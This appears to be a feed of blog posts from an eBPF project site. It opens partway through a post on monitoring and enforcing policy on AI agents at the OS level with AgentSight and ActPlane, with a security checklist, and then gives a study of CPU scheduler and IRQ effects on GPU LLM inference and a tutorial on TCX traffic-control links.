framework integration required. Point it at any agent process (Claude Code,
Codex, a custom Python agent) and it captures the full picture: process
lineage, LLM API calls (prompts and completions), file access, network
connections, and tool invocations, all correlated into a live timeline. This is
the "see what actually happened" layer. Because it operates below the
application, it works even when the agent runtime is opaque, closed-source, or
running arbitrary subprocesses that bypass framework-level tracing. In
practice, this means detecting credential access, data exfiltration attempts,
and unauthorized network connections as they happen, not days later when an
external party reports the breach.

ActPlane is an OS-level harness for AI agents. Where AgentSight
observes, ActPlane enforces. You write behavioral contracts in a YAML-based
rule language (labeled information-flow control, not static allow-lists), and
ActPlane compiles them into an eBPF program that enforces constraints at the
kernel level: every exec, file open, and network connect in the agent's
entire process tree is checked against the policy. When a rule is violated,
ActPlane blocks the action and feeds a human-readable reason back to the agent
through its hook system, so the agent self-corrects rather than failing
silently. The rule language supports data-flow tracking across fork/exec
chains, causal ordering ("run tests before committing"), and staleness
invalidation, going well beyond what sandboxes or tool-layer guards can
express.

The two tools are complementary. AgentSight provides runtime observability:
independent, below-the-application visibility into what the agent did. ActPlane
provides the enforcement plane: deterministic, kernel-level guarantees about
what the agent cannot do. Together they implement the "verify side effects"
layer of the three-layer model, independent of the harness provider and
independent of who owns the sandbox.

Both are possible implementations of this architecture, not the only ones.
The important point is the separation: observe and enforce at a layer the
environment operator controls, regardless of which agent runtime sits above.

This also addresses ecosystem gaps Anthropic identifies: the need for
cross-deployment security telemetry sharing and open standards for agent
security. Independent runtime observability that travels with the workload,
rather than being locked to a specific harness or provider, is the foundation
for both.

Practical Checklist

If you are building or evaluating an agent platform, ask these questions at
each layer.

Intent authorization (MCP / tool access):

Are MCP servers allowlisted?
Are OAuth scopes minimal and audience-bound?
Are local MCP servers treated as code execution risk?
Are high-risk tools gated by human approval?
Are tool calls logged with enough context for audit?

Execution isolation (sandboxing):

Is filesystem access default-deny or broad workspace mount?
Can the agent reach cloud metadata endpoints?
Is network egress restricted by domain, IP, or proxy?
Are service account tokens mounted into the environment?
Are process, memory, CPU, and runtime duration bounded?
Who owns the sandbox policy: the platform team or the agent provider?

Side-effect verification (runtime observability):

Can you reconstruct process lineage for an agent session?
Can you see file and credential access below the framework?
Can you correlate network egress with pod, service account, and command?
Can you detect mismatch between tool intent and OS side effects?
Can you replay an incident without trusting only framework logs?
Can you demonstrate to auditors (SOC 2, ISO 27001) how automated agent access to production data and credentials is monitored and logged?

Guardrail integration:

Which side effects should be blocked immediately?
Which should trigger alert or human review?
Which policies belong in MCP config, sandbox config, Kubernetes policy, eBPF/LSM, or network controls?
What happens when framework logs and OS-level observability disagree?

Closing

Agent runtimes are becoming more capable, more managed, and more opaque. The
security model cannot depend on any single layer, especially when the layers
have different owners.

The harness is not a trusted boundary. The sandbox ownership depends on the
deployment model. The only layer the environment operator can guarantee it
owns is OS/runtime observability.

MCP authorizes intent. Sandboxes constrain execution. OS-level observability verifies side
effects. Each is necessary; none is sufficient. The practical model is their
separation:

authorize intent  →  isolate execution  →  verify side effects
(harness-owned)      (ownership contested)  (must be platform-owned)

The implementation details vary by deployment, but the separation, and the
ownership question, is the part that should remain stable.

If you are exploring this space, AgentSight and
ActPlane are our open-source starting points for the observation
and enforcement layers respectively.

References

When CPU Noise Slows Down GPU Inference: Measuring Scheduler and IRQ Impact with eBPF

云微 — Sun, 31 May 2026 23:35:33 +0000

GPU inference often looks like a GPU problem, but the CPU still sits on the critical path. It prepares inputs, launches CUDA kernels, manages synchronization, handles runtime calls, and shares cores with system work, interrupts, and other tenants. If that CPU-side launch path is delayed, the GPU can be left waiting even when the GPU kernels themselves are fast.

This post asks a concrete question: when an LLM inference workload is running on a GPU, how much do Linux CPU scheduling decisions and IRQ handling actually matter?

To answer it, we built an eBPF tracing tool, cuda_sched_trace, that records CUDA kernel launches, scheduler context switches, and hard/soft IRQ events with nanosecond timestamps. We then ran Qwen3 0.6B inference under clean and noisy-neighbor conditions: CPU load from stress-ng, network load from iperf3, disk load from fio, a combined heavy-load case, and a mitigation case using CPU pinning and priority adjustment.

The short version: in a clean environment, scheduler and IRQ overhead are small. Under production-like noisy-neighbor conditions, they can become very real. Combined CPU, network, and disk interference reduced throughput by 20.5%, while simple CPU pinning reduced context switches by 96.3% and recovered most of the lost throughput.

Why CPU Scheduling Shows Up in GPU Inference

Modern GPU workloads, particularly LLM inference and training, require tight coordination between CPU and GPU execution. The CPU is responsible for:

preparing input data and kernel parameters
launching GPU kernels through CUDA APIs
managing memory transfers and synchronization

An interruption to that CPU-side workflow can delay GPU kernel submission. In the worst case, the GPU has available compute capacity but no new work to execute.

The motivation comes partly from Meta's work on sched_ext for AI training optimization, where production issues include "IRQs preempting our important tasks." Network interrupts (NET_RX/NET_TX) and block device interrupts can matter for large distributed training jobs, and custom scheduling policies can improve AI workload performance by 5-20%.

But the impact is workload-dependent. A single-node LLM inference loop is not the same as distributed training with all-reduce traffic. Before investing in custom scheduling, we wanted measurements that separate scheduler problems from normal application behavior.

The study has four goals:

Measure the baseline impact of CPU scheduling on GPU kernel launches.
Characterize IRQ interference patterns and their performance cost.
Quantify noisy-neighbor impact under CPU, network, disk, and combined load.
Evaluate how much CPU pinning and priority adjustment help.

Tracing the Launch Path

We developed cuda_sched_trace, an eBPF-based tracing tool that combines CUDA API uprobes, Linux scheduler tracepoints, and IRQ tracepoints.

CUDA API Tracing

The tool attaches uprobes to CUDA Driver and Runtime APIs:

// Attach to CUDA Driver API
SEC("uprobe/cuLaunchKernel")
int trace_cuLaunchKernel(struct pt_regs *ctx) {
    // Capture: timestamp, pid, tid, grid/block dimensions, shared memory, stream
    // Mark process as GPU process for scheduler tracking
}

// Attach to CUDA Runtime API
SEC("uprobe/cudaLaunchKernel")
int trace_cudaLaunchKernel(struct pt_regs *ctx) { ... }

SEC("uprobe/cudaDeviceSynchronize")
int trace_cudaDeviceSynchronize_enter(struct pt_regs *ctx) { ... }

SEC("uretprobe/cudaDeviceSynchronize")
int trace_cudaDeviceSynchronize_exit(struct pt_regs *ctx) { ... }

Scheduler Event Tracing

Scheduler activity is captured through sched_switch, filtered to GPU-related processes:

SEC("tp_btf/sched_switch")
int BPF_PROG(sched_switch, bool preempt, struct task_struct *prev, struct task_struct *next) {
    // Only track if prev or next is a GPU process
    // Record: timestamp, prev/next pid, off-cpu/on-cpu duration
}

IRQ Tracing

Hard and soft IRQs are tracked through kernel tracepoints:

SEC("tp_btf/irq_handler_entry")
int BPF_PROG(irq_handler_entry, int irq, struct irqaction *action) {
    // Track hard IRQ entry, record IRQ number and handler name
}

SEC("tp_btf/irq_handler_exit")
int BPF_PROG(irq_handler_exit, int irq, struct irqaction *action) {
    // Calculate IRQ duration
}

SEC("tp_btf/softirq_entry")
int BPF_PROG(softirq_entry, unsigned int vec_nr) {
    // Track soft IRQ: TIMER, NET_RX, NET_TX, BLOCK, SCHED, RCU, etc.
}

SEC("tp_btf/softirq_exit")
int BPF_PROG(softirq_exit, unsigned int vec_nr) {
    // Calculate soft IRQ duration
}

The data path is straightforward: the GPU application issues CUDA calls; eBPF programs observe CUDA, scheduler, and IRQ events in kernel space; events are sent through a BPF ring buffer; analysis scripts parse the resulting CSV.

┌─────────────────────────────────────────────────────────────────┐
│                         User Space                               │
│  ┌─────────────┐    ┌─────────────┐    ┌─────────────────────┐  │
│  │ GPU App     │    │ cuda_sched  │    │ Analysis Scripts    │  │
│  │ (qwen3.cu)  │    │ _trace      │    │ (Python)            │  │
│  └──────┬──────┘    └──────┬──────┘    └──────────┬──────────┘  │
│         │                  │                       │             │
│         │ CUDA calls       │ perf_event            │ CSV parsing │
│         ▼                  ▼                       ▼             │
├─────────────────────────────────────────────────────────────────┤
│                         Kernel Space                             │
│  ┌─────────────┐    ┌─────────────┐    ┌─────────────────────┐  │
│  │ uprobes     │    │ tracepoints │    │ BPF Ring Buffer     │  │
│  │ (CUDA API)  │    │ (sched,irq) │    │ (Event Queue)       │  │
│  └─────────────┘    └─────────────┘    └─────────────────────┘  │
└─────────────────────────────────────────────────────────────────┘

Benchmark and Environment

The benchmark is Qwen3 0.6B LLM inference using qwen3.cu.

Property	Value
Model	Qwen3-0.6B-FP32
Task	Single-turn Q&A
Input	"What is eBPF?"
Output	~30-50 tokens
Kernel Pattern	Burst submission (~950 launches per token)
GPU Memory	~3 GB

This benchmark is useful because it resembles modern LLM inference, mixes compute-bound and memory-bound kernels, shows a clear burst submission pattern, and produces a measurable throughput metric in tokens per second.

Component	Specification
CPU	24 cores (specific model TBD)
GPU	NVIDIA GPU with CUDA support
Memory	Sufficient for model + system
OS	Linux 6.15.11-061511-generic
Kernel	BTF-enabled for CO-RE eBPF
CUDA	Driver API + Runtime API

We used three interference tools:

Tool	Purpose	Configuration
stress-ng	CPU load	`--cpu 0 --cpu-method fft` (all cores)
iperf3	Network I/O	Server + Client, 10 parallel streams, 60s
fio	Disk I/O	`randwrite, bs=4k, iodepth=32, 4 jobs`

The full experiment has six scenarios:

Scenario	Description	Interference
Baseline	Clean environment	None
Noisy CPU	CPU-intensive	stress-ng on all cores
Noisy Network	Network I/O	iperf3 localhost loopback
Noisy Disk	Disk I/O	fio random write
Heavy Load	Combined	CPU + Network + Disk simultaneously
Optimized	CPU pinning	stress-ng + taskset -c 0-3 + nice -n -10

Data collection follows the same pattern in every run:

# Start tracing
sudo ./cuda_sched_trace > trace.csv 2> trace.log &
TRACE_PID=$!

# Run benchmark
cd qwen3.cu
/usr/bin/time -v ./runcu Qwen3-0.6B-FP32.gguf -q "What is eBPF?" -r 1

# Stop tracing
sudo kill -SIGINT $TRACE_PID

# Analyze results
python3 analyze_scheduler_impact.py

Analysis Method

The central analysis compares consecutive CUDA kernel launches:

Launch_i -> [interval] -> Launch_i+1

Group A: Launches with NO context switch in interval (normal flow)
Group B: Launches with context switch in interval (preempted)

Preemption Penalty = median(Group B interval) - median(Group A interval)

To compare runs of different lengths, scheduler and IRQ counts are normalized per 1,000 kernel launches:

Sched/1K = (Total Context Switches / Total Kernel Launches) x 1000
IRQ/1K = (Total IRQs / Total Kernel Launches) x 1000

Performance impact is reported as:

Slowdown % = (Baseline tok/s - Scenario tok/s) / Baseline tok/s x 100

RQ1: Does CPU Scheduler Significantly Impact GPU Performance in Clean Environments?

The first question is whether scheduler preemption matters when the machine is otherwise clean.

Experiment design

Condition: clean system, no artificial interference
Metrics: context switch frequency, preemption penalty, total runtime impact
Analysis: launch-pair comparison with and without context switches

Results

Metric	Value
Total Runtime	79.5 seconds
Kernel Launches	51,464
Context Switches	592 (7.44 Hz)
OFF-CPU Time	7.88 ms (0.01%)

Launch-pair analysis shows that almost every consecutive launch pair is unaffected by context switches:

Group	Count	Percentage	P50 Interval	P90 Interval	P99 Interval
No Context Switch	51,401	99.9%	2 us	4 us	4 us
With Context Switch	62	0.1%	15.3 ms	15.5 ms	5.0 s

The median preemption penalty is 15.3 ms. That is large for the affected pairs, but only 62 pairs were affected.

Tail-latency attribution confirms that most outliers are not caused by scheduler preemption:

Percentile	Total Outliers	With Context Switch	Attribution
P95+	2,580	62 (2.4%)	97.6% application
P99+	515	62 (12.0%)	88.0% application

The total scheduler impact is:

Impact = Affected Pairs x Penalty = 62 x 15ms = 0.93 seconds
Percentage = 0.93 / 79.5 = 1.2%

Finding: in clean environments, CPU scheduler impact is minimal at 1.2%. The vast majority of kernel launch pairs, 99.9%, are unaffected by context switches. Tail latency mostly comes from application behavior such as token-generation boundaries, not scheduler preemption.

RQ2: What Is the Impact of IRQ Interrupts on GPU Performance?

The second question is whether IRQs directly interfere with the CPU-side launch path.

Experiment design

Condition: clean system with IRQ tracing enabled
Metrics: IRQ frequency, duration, type distribution
Analysis: IRQ time as percentage of total runtime

Results

Metric	Value
Total Runtime	4.99 seconds
Kernel Launches	125,236
Soft IRQs	653 events
Hard IRQs	0 events

Soft IRQ type distribution:

Type	Count	Total Time	Avg Time	Max Time	Percentage
TIMER	317	0.77 ms	2.4 us	30.1 us	49%
RCU	291	0.40 ms	1.4 us	17.2 us	45%
NET_RX	30	0.13 ms	4.5 us	14.0 us	4.6%
SCHED	15	0.07 ms	4.9 us	18.9 us	2.3%

Total IRQ impact:

Total IRQ Time: 1.38 ms
Percentage of Runtime: 0.0276%

There are real reasons to worry about IRQs: direct handler time, cache pollution, CPU pipeline disruption, and delay accumulation on critical paths. But for this local inference workload, actual IRQ impact is small.

The reason is the workload shape. Qwen3 submits about 950 launches in a burst lasting less than 100 us, so IRQs rarely land inside the burst. Most IRQs happen between bursts during CPU compute. TIMER interrupts dominate and have a small cache footprint. There is little network I/O, so NET_RX appears only 30 times, and there are no hard IRQs from NVMe or SSD block-device interrupts.

Finding: IRQ impact is negligible for local LLM inference at 0.0276%. This does not mean IRQs never matter. Distributed training with network communication or on-the-fly data loading can see much higher IRQ impact, estimated around 5-20%.

RQ3: How Do Noisy Neighbors Affect GPU Performance?

The third question is the most production-relevant one: what happens when the GPU workload shares a machine with other CPU, network, and disk activity?

Experiment design

Scenario	Interference	Purpose
Baseline	None	Reference point
Noisy CPU	stress-ng (all cores)	CPU contention
Noisy Network	iperf3 (10 streams)	Network IRQ
Noisy Disk	fio (4 jobs, randwrite)	Block IRQ
Heavy Load	All three combined	Production simulation
Optimized	CPU stress + taskset + nice	Mitigation test

Results

Normalized metrics per 1,000 kernel launches:

Scenario	Launches	Sched/1K	Soft IRQ/1K	Hard IRQ/1K	IRQ Time (ms)
Baseline	56,882	22.8	5.8	0.0	0.62
Noisy CPU	61,184	11,932.8	6.4	0.0	0.33
Noisy Network	154,394	6.0	2.7	0.0	0.92
Noisy Disk	126,670	29.3	3.9	0.1	1.03
Heavy Load	99,424	6,044.6	2.4	0.0	0.37
Optimized	108,984	445.2	2.8	0.0	0.71

Performance impact:

Scenario	tok/s	Runtime (s)	Slowdown	Context Switch Increase
Baseline	54.77	3.00	-	1x
Noisy CPU	49.93	4.15	8.8%	524x
Noisy Network	53.23	7.22	2.8%	0.26x
Noisy Disk	54.95	5.60	-0.3%	1.3x
Heavy Load	43.56	6.97	20.5%	265x
Optimized	53.75	5.10	1.9%	19.5x

Scenario Analysis

Noisy CPU (stress-ng) causes the most direct scheduling pressure. Context switches increase 524x, from 22.8 to 11,932.8 per 1,000 launches, and throughput drops by 8.8%. The mechanism is simple: the CFS scheduler time-slices between the GPU process and stress-ng workers.

Noisy Network (iperf3) behaves differently. Context switches actually decrease, because the network load changes CPU competition patterns, while soft IRQs rise slightly. Throughput drops only 2.8%. In this local setup, network I/O primarily shows up as IRQ overhead rather than scheduler pressure.

Noisy Disk (fio) introduces the first hard IRQs, corresponding to block-device interrupts, but context switches remain low and throughput is effectively unchanged at -0.3% slowdown. Disk I/O has little impact on this workload.

Heavy Load (CPU + Network + Disk) is the worst case. Throughput drops by 20.5%, and scheduler events rise to 6,044.6 per 1,000 launches, a 265x increase over baseline. Interestingly, that is only 50.7% of the context-switch rate in the Noisy CPU case. The interference sources compete with each other, but their combined effect is still worst overall.

Heavy-load soft IRQ breakdown:

Type	Count	Total Time	Avg Time
RCU	213	217.4 us	1.0 us
TIMER	17	122.9 us	7.2 us
SCHED	5	33.3 us	6.7 us

Finding: noisy neighbors significantly affect GPU performance. Combined CPU, network, and disk interference causes 20.5% degradation. The signatures differ by source: CPU contention increases context switches, network I/O affects IRQ overhead, disk I/O introduces block interrupts with little throughput impact here, and combined load is worst due to cumulative effects.

RQ4: Can CPU Pinning Effectively Mitigate Scheduler Impact?

The fourth question is whether a simple deployment-level mitigation helps before reaching for a custom scheduler.

Experiment design

Baseline: Noisy CPU scenario with stress-ng on all cores
Optimized: same stress-ng load, but the GPU process runs with:
- taskset -c 0-3 to pin it to cores 0-3
- nice -n -10 to give it higher priority

Results

Metric	Noisy CPU	Optimized	Improvement
Sched/1K	11,932.8	445.2	96.3% reduction
tok/s	49.93	53.75	7.6% improvement
vs. Baseline	8.8% slower	1.9% slower	Significant recovery

CPU pinning and priority adjustment recover most of the lost throughput. But the optimized case still has 445.2 scheduler events per 1,000 launches, compared with 22.8 in the clean baseline. That is still 19.5x higher than baseline.

Complete elimination is hard because:

stress-ng workers may still be scheduled on cores 0-3.
System daemons and kernel threads cannot be fully excluded by taskset.
IRQ affinity may still route interrupts to pinned cores.

For stronger isolation, the next steps are kernel-level isolation and IRQ placement:

# 1. Use isolcpus kernel parameter (boot time)
isolcpus=4-7 nohz_full=4-7

# 2. Bind GPU process to isolated cores
taskset -c 4-7 ./gpu_app

# 3. Bind IRQs away from GPU cores
echo 0-3 > /proc/irq/*/smp_affinity_list

# 4. Use cgroups for CPU isolation
cgcreate -g cpu:gpu_workload
cgset -r cpuset.cpus=4-7 gpu_workload
cgexec -g cpu:gpu_workload ./gpu_app

Finding: CPU pinning is highly effective. It reduces context switches by 96.3% and recovers 7.6% throughput. But full recovery under heavy load requires deeper isolation such as isolcpus, nohz_full, cpusets, and IRQ affinity management.

What the Results Mean

The results point to four practical insights.

First, environment matters. Scheduler impact ranges from 1.2% in a clean environment to 20.5% under combined heavy load. Optimizing the scheduler on a quiet dedicated server may not be worth the complexity. On a shared host, it can be the difference between stable and degraded inference.

Second, workload shape matters. Qwen3 has bursty kernel submission, roughly 950 launches in less than 100 us per token burst. That shape makes it resilient to many IRQs because interrupts usually occur between bursts. A different workload with continuous network communication, streaming input, or tighter CPU-GPU handoff might behave differently.

Third, interference sources have distinct signatures:

Interference	Primary Impact	Secondary Impact
CPU	Context switches	None
Network	IRQ overhead	Slight scheduling
Disk	Hard IRQs	Minimal
Combined	All of above	Worst overall

Fourth, simple mitigations work, but only up to a point:

CPU pinning: very effective, 96% context-switch reduction
Priority adjustment: helpful but limited
Full isolation: requires kernel configuration and IRQ affinity management

Comparison with Meta's sched_ext Findings

Our results differ from Meta's AI training observations because the workload is different.

Aspect	Meta (AI Training)	Our Study (LLM Inference)
Primary Issue	Network IRQ (NET_RX)	CPU scheduling
IRQ Impact	5-20%	0.03% (local inference)
Optimization	sched_ext layer	taskset + nice
Workload	Distributed training	Single-node inference

The key difference is communication. Distributed training constantly exchanges data through all-reduce, making NET_RX a major bottleneck. Local inference has minimal network I/O, so the dominant issue under noise is CPU scheduling rather than network interrupts.

Limitations

There are several limits to this study:

eBPF tracing itself adds 1-5% overhead.
The tool only supports CUDA, not OpenCL or HIP.
The trace does not include GPU-side execution timing, so it cannot directly measure actual kernel runtime.
IRQ attribution is limited: the trace cannot always identify which process caused a given IRQ.
The experiments use a single GPU and do not cover multi-GPU behavior.

Practical Recommendations

For production deployments:

Environment	Recommendation	Expected Benefit
Dedicated Server	No optimization needed	-
Shared Server (light)	taskset + nice	5-10% improvement
Shared Server (heavy)	isolcpus + IRQ affinity	15-20% improvement
Kubernetes	CPU limits + nodeSelector	Varies

The decision tree is simple:

Is GPU workload latency-sensitive?
├── No -> No optimization needed
└── Yes -> Is server shared?
    ├── No -> Monitor only, optimize if needed
    └── Yes -> How heavy is colocated load?
        ├── Light -> taskset + nice
        └── Heavy -> isolcpus + dedicated cores

Conclusion

CPU scheduling and IRQ handling do not always matter for GPU inference, but they matter under the conditions where production systems often run: shared hosts, background load, and noisy neighbors.

The clean baseline shows minimal overhead: 1.2% scheduler impact and 0.03% IRQ impact. But combined CPU, network, and disk interference causes 20.5% throughput degradation. CPU pinning cuts context switches by 96.3% and recovers most of the lost performance, but not all of it.

The practical lesson is to measure first. Use tracing to identify whether your workload is scheduler-bound, IRQ-sensitive, or mostly application-limited. Then choose the mitigation that matches the signature: CPU pinning for CPU contention, IRQ affinity for interrupt interference, I/O tuning for block-device pressure, and full CPU isolation when the workload is latency-sensitive and colocated load is heavy.

References

Meta Platforms, Inc. "Accelerating AI Training with sched_ext." Linux Plumbers Conference 2025. https://lpc.events/event/19/contributions/2039/
NVIDIA Corporation. "CUDA Driver API Reference." https://docs.nvidia.com/cuda/cuda-driver-api/
Linux Kernel Documentation. "BPF Documentation." https://www.kernel.org/doc/html/latest/bpf/
stress-ng. "A tool to load and stress a computer system." https://github.com/ColinIanKing/stress-ng
iperf3. "A TCP, UDP, and SCTP network bandwidth measurement tool." https://github.com/esnet/iperf
fio. "Flexible I/O Tester." https://github.com/axboe/fio

eBPF Tutorial by Example 50: Composable Traffic Control with TCX Links

云微 — Sun, 31 May 2026 23:34:31 +0000

Ever tried attaching multiple BPF programs to the TC ingress path and got frustrated managing qdisc handles, filter priorities, and the tc CLI? Or needed one application's TC program to coexist safely with another's without accidentally overwriting it? Traditional cls_bpf attachment through tc works, but it inherits decades of queueing discipline plumbing that was never designed for the BPF-centric world. What if you could attach, order, and manage TC programs using the same link-based API that XDP and cgroup programs already enjoy?

This is what TCX (Traffic Control eXtension) solves. Introduced by Daniel Borkmann and merged in Linux 6.6, TCX provides a lightweight, fd-based multi-program attach infrastructure for the TC ingress and egress data path. Programs get BPF link semantics (safe ownership, auto-detachment on close, and explicit ordering through BPF_F_BEFORE / BPF_F_AFTER flags) without touching a single qdisc or filter priority.

In this tutorial, we'll attach two TCX ingress programs to the loopback interface, place one before the other, query the kernel's live chain state, and generate traffic to verify execution order.

The complete source code: https://github.com/eunomia-bpf/bpf-developer-tutorial/tree/main/src/50-tcx

Introduction to TCX: Why Classic TC Attachment Needed a Rethink

The Problem: Qdisc Plumbing and Unsafe Ownership

Classic tc BPF attachment (cls_bpf) was bolted onto the existing Traffic Control framework. To attach a BPF program, you first needed a clsact qdisc on the interface, then added a filter with a handle and priority. This worked fine for a single operator, but created real problems in cloud-native environments where multiple applications need to attach TC programs to the same interface:

No ownership model: A tc filter del from one application can accidentally remove another application's program. There's no protection against this because classic tc filters are identified by handle/priority, not by the process that created them.
Priority conflicts: Two applications might pick the same priority number. The second attachment silently replaces the first.
Permanent attachment by default: Classic tc filters persist until explicitly removed. If the application that attached a filter crashes without cleanup, the filter remains, potentially with stale program logic.
CLI dependency: Even with libbpf, the attachment model was tied to netlink, the same mechanism the tc CLI uses. This meant your BPF application was sharing a control plane with every other tc user on the system.

These issues became acute in projects like Cilium, where the BPF dataplane needs to coexist with third-party CNI plugins, observability agents, and security tools that all want to hook into TC.

The Solution: Link-Based Multi-Program Management

TCX takes a fundamentally different approach. Instead of piggybacking on qdisc infrastructure, it provides a dedicated, qdisc-less extension point for BPF programs at the TC ingress and egress hooks. The key design principles:

BPF Link Semantics: bpf_program__attach_tcx() creates a BPF_LINK_TYPE_TCX link. Like XDP links and cgroup links, TCX links give you safe ownership: the link is pinned to the file descriptor, auto-detaches when the fd is closed, and cannot be accidentally overridden by another application.

Explicit Ordering: Instead of implicit priority numbers, you place programs relative to each other using BPF_F_BEFORE and BPF_F_AFTER. You can also use BPF_F_REPLACE to atomically swap a specific program. All operations support an expected_revision field that prevents race conditions during concurrent modifications.

Chain Return Codes: TCX defines simplified return codes that make multi-program composition explicit:

Return Code	Value	Meaning
`TCX_NEXT`	-1	Non-terminating; pass the packet to the next program in the chain
`TCX_PASS`	0	Accept the packet and terminate the chain
`TCX_DROP`	2	Drop the packet and terminate the chain
`TCX_REDIRECT`	7	Redirect the packet and terminate the chain

Unknown return codes are mapped to TCX_NEXT for forward compatibility.

Coexistence with Classic TC: TCX links can coexist with traditional cls_bpf filters on the same interface. The kernel runs TCX programs first, then falls through to classic tcf_classify() if present. This allows gradual migration from classic tc to TCX without a disruptive cutover.

Writing the eBPF Program

Our BPF object contains two programs that demonstrate chain composition. Here is the complete source:

// SPDX-License-Identifier: GPL-2.0
#include <linux/bpf.h>
#include <bpf/bpf_endian.h>
#include <bpf/bpf_helpers.h>

#ifndef TCX_NEXT
#define TCX_NEXT -1
#endif

#ifndef TCX_PASS
#define TCX_PASS 0
#endif

char LICENSE[] SEC("license") = "GPL";

__u64 stats_hits;
__u64 classifier_hits;
__u32 last_len;
__u16 last_protocol;
__u32 last_ifindex;

SEC("tcx/ingress")
int tcx_stats(struct __sk_buff *skb)
{
    stats_hits++;
    last_len = skb->len;
    last_protocol = bpf_ntohs(skb->protocol);
    last_ifindex = skb->ifindex;
    return TCX_NEXT;
}

SEC("tcx/ingress")
int tcx_classifier(struct __sk_buff *skb)
{
    classifier_hits++;
    return TCX_PASS;
}

Let's walk through this step by step.

Section Names: `SEC("tcx/ingress")`

The SEC("tcx/ingress") annotation tells libbpf that this program should be attached to the TCX ingress hook rather than the classic TC classifier. This is not just a naming convention; libbpf maps this section name to BPF_PROG_TYPE_SCHED_CLS with the appropriate attach type for TCX. The corresponding egress variant is SEC("tcx/egress").

Note that SEC("tc"), SEC("classifier"), and SEC("action") are now considered deprecated by libbpf in favor of the tcx/* section names.

Global Variables as Counters

Instead of using a BPF map for counters, we use global variables (stats_hits, classifier_hits, last_len, etc.). The libbpf skeleton exposes these through skel->bss->stats_hits, which makes the user-space code simpler. This is fine for a single-CPU demo; for production use, you would want per-CPU maps to avoid data races.

Return Codes: `TCX_NEXT` vs `TCX_PASS`

This is the heart of TCX composition:

tcx_stats returns TCX_NEXT, which means "I've done my work, now pass the packet to the next program in the chain." The chain continues executing.
tcx_classifier returns TCX_PASS, which is a terminal verdict: the packet is accepted and no further programs in the chain run.

If we had placed tcx_classifier before tcx_stats in the chain, tcx_stats would never execute because TCX_PASS terminates the chain. Ordering matters, and TCX makes it explicit.

User-Space Loader: Attaching and Querying the Chain

The user-space code demonstrates three key TCX operations: attaching programs, ordering them relative to each other, and querying the live chain.

Step 1: Attach the First Program

classifier_link = bpf_program__attach_tcx(skel->progs.tcx_classifier,
                     ifindex, NULL);

This attaches tcx_classifier to the TCX ingress hook on the specified interface. Passing NULL for options means "use defaults", so the program gets appended to the chain. At this point, the chain has one program.

Step 2: Insert the Second Program Before the First

LIBBPF_OPTS(bpf_tcx_opts, before_opts,
    .flags = BPF_F_BEFORE,
    .relative_fd = bpf_program__fd(skel->progs.tcx_classifier));

stats_link = bpf_program__attach_tcx(skel->progs.tcx_stats,
                    ifindex, &before_opts);

The bpf_tcx_opts structure tells the kernel to insert tcx_stats before tcx_classifier in the chain. The .relative_fd field identifies the reference point, which is the fd of the already-attached classifier program. After this, the chain is: tcx_stats → tcx_classifier.

You could equivalently use BPF_F_AFTER with a different reference to achieve the same ordering. The important point is that you express the desired order directly, rather than hoping that two numeric priorities sort correctly.

Step 3: Query the Chain

LIBBPF_OPTS(bpf_prog_query_opts, query);

query.count = 8;
query.prog_ids = prog_ids;
query.link_ids = link_ids;

err = bpf_prog_query_opts(ifindex, BPF_TCX_INGRESS, &query);

After attachment, the loader queries the kernel for the live chain state. The returned data includes:

revision: A monotonically increasing counter that changes on every chain modification. This is the value you would pass as expected_revision if you wanted to perform atomic updates.
prog_ids[]: The BPF program IDs in chain order.
link_ids[]: The corresponding BPF link IDs.

This allows any observer to determine exactly which programs are attached and in what order, which is invaluable for debugging multi-program pipelines.

Step 4: Generate Traffic and Read Counters

The loader sends a UDP packet to 127.0.0.1 (port 9, discard) to trigger the chain, waits briefly, then reads the global variables to verify both programs executed:

printf("  tcx_stats hits      : %llu\n",
       (unsigned long long)skel->bss->stats_hits);
printf("  tcx_classifier hits : %llu\n",
       (unsigned long long)skel->bss->classifier_hits);

If both counters are 1, the chain worked as expected: tcx_stats ran first (recording metadata and returning TCX_NEXT), then tcx_classifier ran second (counting the packet and returning TCX_PASS).

Compilation and Execution

This example requires Linux 6.6+ with TCX support and a recent libbpf.

cd bpf-developer-tutorial/src/50-tcx
make
sudo ./tcx_demo -i lo

Expected output:

Attached TCX programs to lo (ifindex=1)
TCX ingress chain revision: 3
  slot 0: prog_id=812 link_id=901
  slot 1: prog_id=811 link_id=900

Counters:
  tcx_stats hits      : 1
  tcx_classifier hits : 1
  last ifindex        : 1
  last protocol       : 0x0800
  last length         : 46

The revision is 3 because the chain was modified twice: once when tcx_classifier was attached (revision went from 0 to 1), and once when tcx_stats was inserted before it (revision went to 2). The query itself increments the revision to 3.

If you want to inspect the attach behavior without traffic, add -n:

sudo ./tcx_demo -i lo -n

Use -v to enable libbpf debug output, which is helpful for seeing the low-level BPF syscall sequence.

How This Differs from Lesson 20 (Classic TC)

Lesson 20-tc teaches the classic TC data path: creating a clsact qdisc, attaching a SEC("tc") program as a filter, and using __sk_buff for packet inspection. That lesson is still valuable because the packet processing model is identical: TCX programs receive the same __sk_buff context and use the same helpers for packet parsing.

What TCX replaces is the control plane:

Aspect	Classic TC (Lesson 20)	TCX (Lesson 50)
Attach mechanism	Netlink / `tc` CLI	`bpf_program__attach_tcx()`
Ownership	None; anyone can `tc filter del`	BPF link; auto-detaches on fd close
Ordering	Implicit priority numbers	Explicit `BPF_F_BEFORE` / `BPF_F_AFTER`
Multi-program	Manual priority management	Built-in chain with revision tracking
Section name	`SEC("tc")`	`SEC("tcx/ingress")` / `SEC("tcx/egress")`
Kernel requirement	Any modern kernel	Linux 6.6+

If you are building new libbpf-based networking tools, TCX is the recommended interface. Cilium has already migrated from classic tc to TCX for its dataplane.

Summary

In this tutorial, we learned how TCX modernizes TC program attachment by replacing qdisc-based plumbing with BPF link semantics. We attached two ingress programs, controlled their execution order with BPF_F_BEFORE, queried the live chain with bpf_prog_query_opts(), and verified that both programs executed in the correct order. TCX provides safe ownership, explicit ordering, revision-aware updates, and coexistence with classic TC, making it the foundation for composable, multi-program traffic control in modern eBPF applications.

If you'd like to learn more about eBPF, visit our tutorial code repository at https://github.com/eunomia-bpf/bpf-developer-tutorial or website https://eunomia.dev/tutorials/ for more examples and complete tutorials.

References

eBPF Tutorial by Example: BPF Token for Delegated Privilege and Secure Program Loading

云微 — Tue, 17 Mar 2026 07:48:37 +0000

Ever needed to let a container or CI job load an eBPF program without giving it full CAP_BPF or CAP_SYS_ADMIN? Or wanted to expose XDP packet processing to a tenant workload while ensuring it can only create the specific map types and program types you've approved? Before BPF token, the answer was binary: either you had the capabilities to do everything in BPF, or you could do nothing. There was no middle ground.

